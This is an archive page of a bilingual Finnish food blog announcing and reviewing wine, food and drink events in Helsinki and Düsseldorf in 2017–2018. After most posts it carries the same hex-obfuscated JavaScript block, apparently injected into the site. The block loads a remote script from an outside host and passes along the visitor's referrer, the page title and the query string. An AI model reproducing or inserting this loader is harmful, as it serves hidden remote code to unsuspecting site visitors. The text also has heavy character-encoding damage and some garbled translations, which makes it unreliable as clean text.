Selaat arkistoa kohteelle Tapahtumat.

Tulossa: Gastro Helsinki 2018 /Coming up: Gastro Helsinki 2018

1.3.2018 Tapahtumat

Gastro onA�Horeca-alan ammattitapahtuma, joka jA�rjestetA�A�n joka toinen vuosi maaliskuussa. Vuonna 2018 tapahtuma ajoittuu maaliskuun puolivA�liin, 14.-16.3.2018. Gastro-messuilla toisensa kohtaavat yli 18v. hotelli-, ravintola- ja ammattikeittiA�alan ammattilaiset. Tapahtuma ei ole avoinna ruokaharrastajille, vaan se on tA�ysin suunnattu ammattilaisille.


Gastro is a Horeca professional event, which is organized every two years in March. In 2018, the event is in the middle of March, in 14th to 16th March 2018. At the Gastro Fair will meet hotel, restaurant and professional kitchen professionals who are older than 18 years. The event is not open to food enthusiasts, but it is completely aimed at professionals.

var _0x31f1=[”x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Tulossa: ProWein 2018 /Coming up: ProWein 2018

26.2.2018 Tapahtumat

KansainvA�linen viinimaailma kokoontuu yhteen vuosittain jA�rjestettA�vA�A�n ProWein -tapahtumaan DA?sseldorfiin, Saksaan. KolmipA�ivA�inen tapahtuma jA�rjestA�A�n 18.-20.3.2018 DA?sseldorfin Messukeskuksessa ja se tarjoaa osallistujille monipuolisen ohjelmakattauksen. Ohjelman kokonaisuudessaan lA�ydA�tA�tA�A�ltA�.

ProWein on maailman johtava viinien ja vA�kevien juomien tapahtuma, suurin alan toimijoiden tapahtuma, jossa toisensa kohtaavat viininviljelyn,A� tuotannon, kaupan ja keittiA�alan ammattilaiset.

Tapahtuma on avoinna 18.-20.3. klo 9-18 DA?sseldorfin Messukeskuksessa.


Every year the international wine world gets together at ProWein in DA?sseldorf, Germany. The three-day event will be held from 18th to 20th March 2018 at the DA?sseldorf Trade Fair Center and will offer participants a versatile program coverage. You can find the full program here

ProWein is the worlda��s leading trade fair for wine and spirits, the largest industry meeting for professionals from viticulture, production, trade and gastronomy.

The event is open daily 18.-20.3. at 9-18 in DA?sseldorf Trade Fair Center.

(photo: Messe DA?sseldorf/ctillmann)

var _0x31f1=[”x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Tulossa: Helsinki Drink Festival /Coming up: Helsinki Drink Festival

25.2.2018 Tapahtumat

Helsinki Drink Festival on uudenlainen tapahtuma, joka valtaa Vanhan Ylioppilastalon HelsingissA� 2.-3.3.2018.A�Tapahtumassa pA�A�see maistamaan erilaisia cocktaileja ja mocktaileja, tarjolla on muun muassa Helsingin ykkA�scocktailbaarien antimia.

Ohjelmassa myA�s tastingeja, workshoppeja ja hyvA�A� musaa. HDF on tarkoitettu kaikille cocktaileista kiinnostuneille, myA�s heille joille cocktailit ovat uusi aluevaltaus.

Tapahtuma on avoinna

2.3. klo 16-22
3.3. klo 15-22

Osta liput tapahtumaan tA�A�ltA�.


The Helsinki Drink Festival is a new kind of event that will power the Old Studenthouse in Helsinki from 2 to 3 March 2018. At the event you can enjoy a variety of cocktails and mocktails, there are also some of Helsinki’s top cocktail bars.

The program also includes tastings, workshops and good music. HDF is intended for anyone interested in cocktails, including those for whom cocktails are a new thing.

The event is open

2.3. 16-22
3.3. 15-22

Buy tickets for the event from here.var _0x31f1=[”x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

RavintolapA�ivA� 18.11. / Restaurant Day 18.11.

9.11.2017 Tapahtumat

18.11. vietetA�A�n RavintolapA�ivA�A�. Tule maistelemaan joulun aikaan sopivia herkkuja. Tarjottavat herkut ovat etenkin aikuisen makuun sopivia.

Tarjolla on esimerkiksi

* Rommi-rusinakakkua
* piparkakku kuppikakkuja
* GlA�giA�

Tarjottavien herkkujen ohjeet lA�ydA�t joulukuun aikana blogista. Tervetuloa maistelemaan herkkuja 18.11. klo 11-14 vA�lillA�.

LisA�tietoja:
https://beta.njomnjom.com/en/events/1656
https://www.facebook.com/events/294605404368194/


18.11. celebrate the Restaurant Day. Come and taste some delicacies some fits for Christmas time. The delicacies are especially suitable for adult tastes.

There is for example

* Rummy roach batter
* gingerbread cookies
* GlA�gi

You will find instructions for offered delicacies in the blog from December. Welcome to taste the delicacies 18.11. 11-14.

More information:

https://beta.njomnjom.com/en/events/1656
https://www.facebook.com/events/294605404368194/

 var _0x31f1=[”x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Viini ja Ruoka 2017 / Wine and Food 2017

5.11.2017 Tapahtumat

Viime viikolla vierailin Viini ja Ruoka -tapahtumassa Helsingin Messukeskuksessa. Ajattelin tA�ssA� postauksessa jakaa omia ajatuksiani tapahtumasta.

+ mahdollisuus ostaa maistelulippuja sA�hkA�isesti
+ monipuolinen viini- ja ruokavalikoima
+ laajat aukioloajat
– vA�enpaljous etenkin lauantaina
– vA�hA�isesti paikkoja istumiseen
– alkoholittomien juomien mA�A�rA� (!)

Alla kuvia messuilta. Ensi vuodelta toivoisin, ettA� alkoholittomia juomia olisi enemmA�n tarjolla, sillA� kaikki eivA�t voi syystA� tai toisesta nauttia alkoholia. Olisi huippua, jos alkoholittomalla linjalla olevat huomioitaisiin messuilla. Messuilta tarttui mukaani kotiin mm. suklaata ja teetA�. SA�hkA�inen maistelulippujen ostomahdollisuus oli hyvA� juttu, toivottavasti tA�mA� mahdollisuus on saatavilla myA�s tulevaisuudessa.


Last week I visited Wine and Food event in at the Helsinki Fair Centre. Here’s few thoughts about the event.

+ the opportunity to buy tasting tickets electronically
+ a varied selection of wines and foods
+ extensive opening hours
– a lot of people, especially on Saturday
– little places to sit
– the number of non-alcoholic beverages (!)

Below pictures from the fair. For next year I would like to have more alcohol-free drinks, because everyone can not enjoy alcohol for one reason or another. It would be top if the non-alcoholic line was taken into consideration at the fair. From the fair I got involved with my home. chocolate and tea. The opportunity to buy tasting tickets electronically was a good, hopefully this opportunity will be available in the future as well.

var _0x31f1=[”x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Tulossa: Viini ja Ruoka 26.-29.10.2017 /Coming up: Viini ja Ruoka 26.-29.10.2017

21.10.2017 Tapahtumat

Viini ja Ruoka 2017 kolkuttelee jo nurkan takana. Tapahtuma on suunnattu viinin ja ruoan ystA�ville ja se jA�rjestetA�A�n Helsingin Messukeskuksessa 26.-29.10.2017. Tapahtumassa on mukana 120 nA�ytteilleasettajaa, joista 30 on viinien maahantuojia.

Tapahtuman liki 700 viinistA� osa on sellaisia, jotka eivA�t ole myynnissA� Suomessa. Nyt onkin hyvA� tilaisuus lA�ytA�A� messuilta uusi suosikkiviini. Tapahtumassa on myA�s ruokapuoli hyvin edustettuna, siitA� pitA�A� huolen Street Food -kadun yhdeksA�n (9) ravintolan valikoima, joiden valikoimista lA�ytyy 60 erilaista annosta. Street Food -kadulla voit lA�ytA�A� muun muassa seuraavat ravintolat:A�Naughty Brgr, Street Gastro, Levant, Quickies Street diner ja Tortilla Company.

Muiden ruokapuolen nA�ytteilleasettajien joukosta lA�ydA�t muun muassa: Stockmann Herkku, Lidl, Fine Foods ja Deli Deli.

Euroopan viinitarhoilla viinirypA�leiden sadonkorjuuaika on pA�A�ttymA�ssA� ja sen kunniaksi Viini ja Ruoka -tapahtumassa jA�rjestetA�A�n rypA�leenpoljennan SM-kilpailut. Kilpailu kA�ydA�A�n torstaina 26.10. klo 17.

Viini ja Ruoka -tapahtuma on K-18, alaikA�iset huoltajan seurassa. Avoinna to 26.10. klo 12a��20 pe 27.10. ja la 28.10 klo 10a��20, su 29.10. klo 10a��18.A�

INFO:

PA�A�syliput

Aikuiset 16 a��/hlA�
Lapset (7-15 v.), elA�kelA�iset, varusmiehet, opiskelijat 10 a��
RyhmA�lippu (vA�h. 10 hlA�A�) 10 a��/hlA�
Perhelippu (max. 2 aik. ja alle 16 v. lapset) 37 a��
Kokoaikalippu 4 pv aikuiset 30 a��
Kokoaikalippu 4 pv lapset, elA�kelA�iset, varusmiehet, opiskelijat 20 a��

PA�A�sylippuja voi ostaa tapahtuman aukioloaikoina Messukeskuksen kassoilta tai ennakkoon Messukeskuksen verkkokaupasta. Kokoaikalippuja myydA�A�n ainoastaan Messukeskuksen kassoilla tapahtuman aukioloaikoina.

Samalla pA�A�sylipulla pA�A�set vierailemaan Helsingin Kirjamessuilla.

HUOM! Viini ja Ruoka a��tapahtuman anniskelualue kattaa koko messualueen ja alle 18-vuotiaat pA�A�sevA�t Viini ja Ruoka -tapahtumaan vain huoltajan seurassa!

NA�in toimit tapahtuma-alueella:

Maistelulasi sekA� viinilipukkeet ostetaan tapahtuma-alueen lasipisteistA� messuhalleista 4 ja 5.
Maistelulasin hinta on 8 a��, josta saa lasinpalautuksessa takaisin 5 a��. SA�A�stA�kA�A� maistelulasin mukana saamanne lasipanttilippu, jota vastaan palautamme 5 a�� panttimaksun. Maistelulasin palautuspiste lA�ytyy lasipisteistA�.

Viinilipukkeiden hinta on 2,50 a�� /kpl.A�Huomioittehan, ettA� yksi maisteluannos viiniA� voi maksaa useamman lipukkeen.

Lipukkeiden myynti pA�A�ttyy to, pe ja la klo 19.30 ja su klo 17.30.
Anniskelu pA�A�ttyy to, pe ja la klo 20.00 ja su klo 18.00.

Foodelicious-blogi arpoo yhden messulipun Viini ja Ruoka -tapahtumaan. Osallistu arvontaan blogin Facebook-sivulla. Arvonta suoritetaan 24.10. klo 21.


Wine and Food 2017 is coming soon.A�The event is aimed for wine and food lovers and will be held at the Helsinki Fair Center on 26-29.10.2017. The event is attended by 120 exhibitors, of which 30 are importers of wines.

The event has almost 700 wines and some of them are not sold in Finland. Now you have a great opportunity to find a new favorite wine in the fair. The event is also well represented in the food side, it will take care of the Street Food nine (9) restaurant’s choice with a range includes 60 different servings. Via Street Food you can find Naughty Brgr, Street Gastro, Levant, Quickies Street diner and Tortilla Company.

The other side of the food among the exhibitors you will find for example next exhibitors: Stockmann Delicatessen, Lidl, Fine Foods and Deli Deli.

The European vineyards are closing down the grape harvest and in honor of the Wine and Food event, the grape harvesting SM competition will be held on Thursday, 26th October at 17.

The Wine and Food event is a K-18,A� underage only with a guardian. Open Thu 26.10. 12-20 Fri 27.10. and Sat 28.10, 10-20, Sun 29.10. 10-18.

INFO:

Tickets:

Adults 16 a�� / person
Children (7-15 yr.), Pensioners, conscripts, students 10 a��
Group ticket (minimum 10 people) 10 a�� / person
Family ticket (up to 2 children under 16 years) a�� 37
Full time ticket 4 days adult 30 a��
Full-time ticket for 4 days children, seniors, conscripts, students 20 a��

Tickets can be purchased during the opening hours of the event at the Exhibition Center’s shopping malls or in advance at the Exhibition Center’s online store. Full-time tickets are sold only at the Exhibition Center’s holders during the opening hours of the event.

With the same ticket, you can visit the Helsinki Book Fair.

NOTE! The wine and food event area covers the entire fairground and under 18 years of age can only attend the Wine and Food event with a guardian!

Instructions for the event area:

Tasting glass and wine tickets are purchased from the glass points at the event area 4 and 5.
The price of a tasting glass is 8 a��, which will give you 5 a�� back when you return the glass. Save the glass ticket you have with the tasting glass, against it you get back a 5 a�� deposit. The returning place for tasting glass is located in the glass points.

The price of wine tickets is 2.50 a�� / piece. Please note that one tasting dose of wine can cost more than one ticket.

The sale of wine tickets ends on Thu, Fri, Sat at 7.30 pm and Sun at 5.30 pm.
Drinking ends on Thu, Fri, Sat at 20.00 and Sun at 18.00.

The Foodelicious blog will raffle one ticket for the Wine and Food event. Participate in the lottery on the Foodelicious blog Facebook page. The draw will take place on 24th October at 21.

 

 

 var _0x31f1=[”x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Tulossa: Grand Vin Helsinki 2017 / Coming up: Grand Vin Helsinki 2017

21.9.2017 Tapahtumat

GRAND VIN HELSINKI 2017 a�� VIINIA� JA HERKKUJA

Grand Vin Helsinki 2017 on uusi viinitapahtuma, joka kokoaa yhteen valikoiman laadukkaita viinejA� ympA�ri maailman. YhteistA� viineille on, ettA� niistA� nA�kyy ja maistuu kullekin alueelle ominaiset piirteet ja ne ovat tuotettu ammattitaidolla, kokemuksella ja intohimolla.

Viinin saloihin meitA� johdattavat viinintekijA�t ja viinintuottajat eri puolilta maailmaa, jotka kertovat ja maistattavat viinejA�A�n Vanhan Ylioppilastalon kauniissa salissa. Omaa viinitietA�mystA�A�n voi myA�s laajentaa osallistumalla Master Class -luennoille. Master Class -luennoilla syvennytA�A�n yhden tuottajan tai tietyn teeman alla sekA� ulkomaisten viinintekijA�iden ja tuottajien toimesta mutta myA�s muutaman kotimaisen viinintuntijan johdolla.

Master Class -luentoihin on rajattu mA�A�rA� paikkoja ja niihin voi ostaa liput etukA�teen ceestashop.fi -verkkokaupasta samalla kun hankkkii itselleen ja kavereilleen pA�A�sylipun. Tarkempi tieto luennoista lA�ytyy tapahtuman nettisivujen Master Classes -kohdasta. Kaikissa Master Class -luennoissa maistelulasina kA�ytetA�A�n Lehmann Glassin upeaa kA�sinpuhallettua A. Lallement -lasia.

Vanhalla Ylioppilastalolla jA�rjestettA�vA�ssA� rennossa ja tunnelmallisessa tapahtumassa pA�A�see maistelemaan tunnetumpia viiniklassikoita sekA� harvinaisempia herkkuja. Niiden ohella tapahtumassa on tarjolla viiniin sopivaa purtavaa pienten maisteluannosten muodossa.

Tule yksin, kaksin tai porukalla. Ota yhteyttA�, jos haluat porukallesi tai yritysryhmA�llesi rA�A�tA�lA�idyn Master Class -luennon.

Avoinna

Perjantaina 6.10.2017 klo 15.30-21.00
Lauantaina 7.10.2017 klo 12.00-20.00

Vanhalla Ylioppilastalolla HelsingissA�

SisA�A�npA�A�syliput ja maistelulipukkeet

PA�A�sylippuja myydA�A�n ennakkoonA�Ceestashop.fiA�-verkkokaupan kautta. PA�A�sylippujen ennakkomyynti jatkuu kyseistA� tapahtumapA�ivA�A� edeltA�vA�A�n iltaan klo 20 saakka eli perjantaille 6.10 voi vielA� torstain 5.10 aikana ostaa lippuja ja lauantaille 7.10 voi ostaa lippuja vielA� perjantaina 6.10 klo 20.00 asti tai niin kauan kuin lippuja riittA�A�. PA�A�sylippuja myydA�A�n saatavuuden mukaan myA�s ovella molempina pA�ivinA� perjantaina ja lauantaina A� 20 a��. Tervetuloa!

SisA�A�npA�A�sylipun hintaan kuuluu Lehmann Glassin Excellence 39 -viinilasi, joka jaetaan sisA�A�n tullessa.

Tapahtuma on tarkoitettu 18 vuotta tA�yttA�neille.
Viininmaistelu tapahtuu digilipukkeilla, joita voi ladata lipukepisteissA�. Digilipukkeen arvo on 2,50 a��. Maisteltavien viinien hinnat vaihtelevat yhdestA� useampaan lipukkeeseen riippuen viinin hintaluokasta. Tapahtumassa tarjoiltava maisteluannos on 4 cl ja vahvemmille viineille 2 cl.

Master Class -luennoille liput ostetaan erikseen ja Master Class -luennolle tarvitaan myA�s pA�A�sylippu itse tapahtumaan.

LisA�tietoja


GRAND VIN HELSINKI 2017 – WINE AND DELICACIES

Grand Vin Helsinki 2017 is a new wine event that brings together a selection of high quality wines all over the world. The common for wines is that they show and taste the characteristics of each region and they are produced by professionalism, experience and passion.

The secret of wines are led by wine producers and wine makers from all over the world who tell and taste wines in the beautiful hall of the Old Student House. Your own wine knowledge can also be extended by attending Master Classes. With Master Classes, one of the producers or a particular theme is deepened, as well as by foreign wine producers and producers, but also by a few domestic wine experts.

